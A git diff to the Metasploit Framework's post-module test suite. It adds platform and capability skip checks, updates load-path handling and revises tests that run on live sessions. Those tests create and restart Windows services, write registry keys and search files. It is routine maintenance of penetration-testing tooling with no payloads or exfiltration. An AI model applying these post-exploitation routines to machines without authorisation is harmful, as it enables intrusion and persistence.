bb41adaff9c00..f4c9a2c352d96 100644 --- a/test/modules/post/test/railgun.rb +++ b/test/modules/post/test/railgun.rb @@ -1,4 +1,5 @@ lib = File.join(Msf::Config.install_root, "test", "lib") +$LOAD_PATH.push(lib) unless $LOAD_PATH.include?(lib) require 'module_test' class MetasploitModule < Msf::Post @@ -15,13 +16,15 @@ def initialize(info = {}) 'Description' => %q{ This module will test railgun api functions }, 'License' => MSF_LICENSE, 'Author' => [ 'Spencer McIntyre' ], - 'Platform' => [ 'linux', 'osx', 'windows' ] + 'Platform' => [ 'linux', 'osx', 'windows' ], + 'SessionTypes' => [ 'meterpreter' ] ) ) end def test_api_function_calls_libc - return unless session.platform == 'linux' || session.platform == 'osx' + return skip('target is not linux or osx') unless session.platform == 'linux' || session.platform == 'osx' + return skip('session does not support COMMAND_ID_STDAPI_RAILGUN_API') unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Stdapi::COMMAND_ID_STDAPI_RAILGUN_API) buffer = nil buffer_size = 128 @@ -89,17 +92,21 @@ def test_api_function_calls_libc end def test_api_function_file_info_windows - return unless session.platform == 'windows' + return skip('session platform is not windows') unless session.platform == 'windows' + return skip('session does not support COMMAND_ID_STDAPI_RAILGUN_API') unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Stdapi::COMMAND_ID_STDAPI_RAILGUN_API) it "Should retrieve the win32k file version" do path = expand_path('%WINDIR%\\system32\\win32k.sys') major, minor, build, revision, brand = file_version(path) + # XXX: These values should be asserted - as in this scenario the values are `nil` + # https://github.com/rapid7/metasploit-framework/commit/99e576d023cba66fa898d9ce3b52a52201f0f250 true end end def test_api_function_calls_windows - return unless session.platform == 'windows' + return skip('session platform is not windows') unless session.platform == 'windows' + return skip('session does not support COMMAND_ID_STDAPI_RAILGUN_API') unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Stdapi::COMMAND_ID_STDAPI_RAILGUN_API) it "Should include error information in the results" do ret = true diff --git a/test/modules/post/test/railgun_reverse_lookups.rb b/test/modules/post/test/railgun_reverse_lookups.rb index 20e2ae9f25eb4..68897474fce40 100644 --- a/test/modules/post/test/railgun_reverse_lookups.rb +++ b/test/modules/post/test/railgun_reverse_lookups.rb @@ -6,7 +6,7 @@ require 'rex' lib = File.join(Msf::Config.install_root, "test", "lib") -$:.push(lib) unless $:.include?(lib) +$LOAD_PATH.push(lib) unless $LOAD_PATH.include?(lib) require 'module_test' class MetasploitModule < Msf::Post @@ -21,7 +21,8 @@ def initialize(info = {}) 'Description' => %q{ This module will test railgun code used in post modules}, 'License' => MSF_LICENSE, 'Author' => [ 'kernelsmith'], - 'Platform' => [ 'windows' ] + 'Platform' => [ 'linux', 'osx', 'windows' ], + 'SessionTypes' => [ 'meterpreter' ] ) ) @@ -52,6 +53,8 @@ def lookup_error(err_code, filter_regex = nil) end def test_static + return skip('session does not support COMMAND_ID_STDAPI_RAILGUN_API') unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Stdapi::COMMAND_ID_STDAPI_RAILGUN_API) + it "should return a constant name given a const and a filter" do ret = true results = select_const_names(4, /^SERVICE/) @@ -82,6 +85,8 @@ def test_static end def test_datastore + return skip('session does not support COMMAND_ID_STDAPI_RAILGUN_API') unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Stdapi::COMMAND_ID_STDAPI_RAILGUN_API) + if (datastore["WIN_CONST"]) it "should look up arbitrary constants" do ret = true diff --git a/test/modules/post/test/registry.rb b/test/modules/post/test/registry.rb index facd9cfd996a5..8922e4a0ab777 100644 --- a/test/modules/post/test/registry.rb +++ b/test/modules/post/test/registry.rb @@ -6,7 +6,7 @@ require 'rex' lib = File.join(Msf::Config.install_root, "test", "lib") -$:.push(lib) unless $:.include?(lib) +$LOAD_PATH.push(lib) unless $LOAD_PATH.include?(lib) require 'module_test' class MetasploitModule < Msf::Post @@ -25,12 +25,15 @@ def initialize(info = {}) 'kernelsmith', # original 'egypt', # PostTest conversion ], - 'Platform' => [ 'windows' ] + 'Platform' => [ 'windows' ], + 'SessionTypes' => [ 'meterpreter', 'shell', 'powershell' ] ) ) end def test_0_registry_read + return skip('session platform is not windows') unless session.platform == 'windows' + it "should evaluate key existence" do k_exists = registry_key_exist?(%q#HKCU\Environment#) k_dne = registry_key_exist?(%q#HKLM\\Non\Existent\Key#) @@ -132,6 +135,8 @@ def test_0_registry_read end def test_1_registry_write + return skip('session platform is not windows') unless session.platform == 'windows' + it "should create keys" do ret = registry_createkey(%q#HKCU\test_key#) end diff --git a/test/modules/post/test/search.rb b/test/modules/post/test/search.rb index e8d7c4f68820e..6019a7276b92e 100644 --- a/test/modules/post/test/search.rb +++ b/test/modules/post/test/search.rb @@ -2,12 +2,13 @@ require 'rex' lib = File.join(Msf::Config.install_root, "test", "lib") -$:.push(lib) unless $:.include?(lib) +$LOAD_PATH.push(lib) unless $LOAD_PATH.include?(lib) require 'module_test' class MetasploitModule < Msf::Post include Msf::ModuleTest::PostTest + include Msf::ModuleTest::PostTestFileSystem def initialize(info = {}) super( @@ -17,28 +18,19 @@ def initialize(info = {}) 'Description' => %q{ This module will test the meterpreter search method }, 'License' => MSF_LICENSE, 'Author' => [ 'timwr'], - 'Platform' => [ 'windows', 'linux', 'java' ], + 'Platform' => [ 'windows', 'linux', 'java', 'osx' ], 'SessionTypes' => [ 'meterpreter' ] ) ) - register_options( - [ - OptBool.new("AddEntropy", [false, "Add entropy token to file and directory names.", false]), - OptString.new("BaseFileName", [true, "File/dir base name", "meterpreter-test"]) - ], self.class - ) end + # + # Change directory into a place that we have write access. + # + # The +cleanup+ method will change it back + # def setup - @old_pwd = session.fs.dir.getwd - stat = session.fs.file.stat("/tmp") rescue nil - if (stat and stat.directory?) - tmp = "/tmp" - else - tmp = session.sys.config.getenv('TEMP') - end - vprint_status("Setup: changing working directory to #{tmp}") - session.fs.dir.chdir(tmp) + push_test_directory if datastore["AddEntropy"] entropy_value = '-' + ('a'..'z').to_a.shuffle[0, 8].join @@ -55,6 +47,12 @@ def setup super end + def cleanup + pop_test_directory + session.fs.file.rm(@file_name) rescue nil + super + end + def test_fs_search vprint_status("Starting search tests") @@ -185,11 +183,4 @@ def test_fs_search_date end end - def cleanup - session.fs.file.rm(@file_name) rescue nil - vprint_status("Cleanup: changing working directory back to #{@old_pwd}") - session.fs.dir.chdir(@old_pwd) - super - end - end diff --git a/test/modules/post/test/services.rb b/test/modules/post/test/services.rb index 6455d567bd29b..39170117da0de 100644 --- a/test/modules/post/test/services.rb +++ b/test/modules/post/test/services.rb @@ -5,7 +5,7 @@ require 'rex' lib = File.join(Msf::Config.install_root, "test", "lib") -$:.push(lib) unless $:.include?(lib) +$LOAD_PATH.push(lib) unless $LOAD_PATH.include?(lib) require 'module_test' class MetasploitModule < Msf::Post @@ -22,7 +22,7 @@ def initialize(info = {}) 'License' => MSF_LICENSE, 'Author' => [ 'kernelsmith', 'egypt' ], 'Platform' => [ 'windows' ], - 'SessionTypes' => [ 'meterpreter', 'shell' ] + 'SessionTypes' => [ 'meterpreter', 'shell', 'powershell' ] ) ) register_options( @@ -41,6 +41,8 @@ def initialize(info = {}) end def test_start + return skip('session platform is not windows') unless session.platform == 'windows' + it "should start #{datastore["SSERVICE"]}" do ret = true results = service_start(datastore['SSERVICE']) @@ -63,6 +65,11 @@ def test_start end def test_list + return skip('session platform is not windows') unless session.platform == 'windows' + if !session.commands.include?(Rex::Post::Meterpreter::Extensions::Stdapi::COMMAND_ID_STDAPI_RAILGUN_API) + return skip('reg query support skipped for now as the query takes more than two minutes') + end + it "should list services" do ret = true results = service_list @@ -76,17 +83,19 @@ def test_list end def test_info - it "should return info on a given service #{datastore["QSERVICE"]}" do + return skip('session platform is not windows') unless session.platform == 'windows' + + it "should return info on a given service #{datastore["QSERVICE"]}" do ret = true results = service_info(datastore['QSERVICE']) + vprint_status("Service details: #{results}") ret &&= results.kind_of? Hash if ret - ret &&= results.has_key? :display - ret &&= (results[:display] == "Windows Management Instrumentation") - ret &&= results.has_key? :starttype - ret &&= results.has_key? :path - ret &&= results.has_key? :startname + ret &&= results[:display].is_a?(String) + ret &&= results[:starttype].is_a?(Integer) + ret &&= results[:path].is_a?(String) + ret &&= results[:startname].is_a?(String) end ret @@ -94,7 +103,9 @@ def test_info end def test_create - it "should create a service #{datastore["NSERVICE"]}" do + return skip('session platform is not windows') unless session.platform == 'windows' + + it "should create a service #{datastore["NSERVICE"]}" do mode = case datastore["MODE"] when "disable"; START_TYPE_DISABLED when "manual"; START_TYPE_MANUAL @@ -133,6 +144,8 @@ def test_create end def test_status + return skip('session platform is not windows') unless session.platform == 'windows' + it "should return status on a given service #{datastore["QSERVICE"]}" do ret = true results = service_status(datastore['QSERVICE']) @@ -148,12 +161,15 @@ def test_status end def test_change + return skip('session platform is not windows') unless session.platform == 'windows' + service_name = "a" << Rex::Text.rand_text_alpha(5) display_name = service_name - it "should modify config on a given service #{service_name}" do + it "should modify config on a given service" do ret = true + vprint_status("creating new service #{service_name}") results = service_create(service_name, display: display_name, path: datastore['BINPATH'], @@ -179,11 +195,14 @@ def test_change end def test_restart_disabled + return skip('session platform is not windows') unless session.platform == 'windows' + service_name = "a" << Rex::Text.rand_text_alpha(5) display_name = service_name - it "should start a disabled service #{service_name}" do + it "should start a disabled service" do ret = true + vprint_status("creating new service #{service_name}") results = service_create(service_name, display: display_name, path: datastore['BINPATH'], @@ -204,13 +223,14 @@ def test_restart_disabled end def test_restart_start + return skip('session platform is not windows') unless session.platform == 'windows' service_name = datastore['SSERVICE'] it "should restart a started service #{service_name}" do ret = true results = service_start(service_name) - ret &&= (results == Windows::Error::SUCCESS) + ret &&= (results == Windows::Error::SUCCESS || results == Windows::Error::SERVICE_ALREADY_RUNNING) if ret results = service_restart(service_name) ret &&= results @@ -221,6 +241,7 @@ def test_restart_start end def test_noaccess + return skip('session platform is not windows') unless session.platform == 'windows' it "should raise a runtime exception if no access to service" do ret = false begin @@ -234,6 +255,7 @@ def test_noaccess end def test_no_service + return skip('session platform is not windows') unless session.platform == 'windows' it "should raise a runtime exception if services doesnt exist" do ret = false begin diff --git a/test/modules/post/test/unix.rb b/test/modules/post/test/unix.rb index ecbfd4cb9988e..047715d5b9f51 100644 --- a/test/modules/post/test/unix.rb +++ b/test/modules/post/test/unix.rb @@ -1,5 +1,5 @@ lib = File.join(Msf::Config.install_root, "test", "lib") -$:.push(lib) unless $:.include?(lib) +$LOAD_PATH.push(lib) unless $LOAD_PATH.include?(lib) require 'module_test' # load 'test/lib/module_test.rb' @@ -22,7 +22,7 @@ def initialize(info = {}) 'Description' => %q{ This module will test Post::File API methods }, 'License' => MSF_LICENSE, 'Author' => [ 'egypt'], - 'Platform' => [ 'linux', 'java' ], + 'Platform' => [ 'linux', 'unix', 'java', 'osx' ], 'SessionTypes' => [ 'meterpreter', 'shell' ] ) )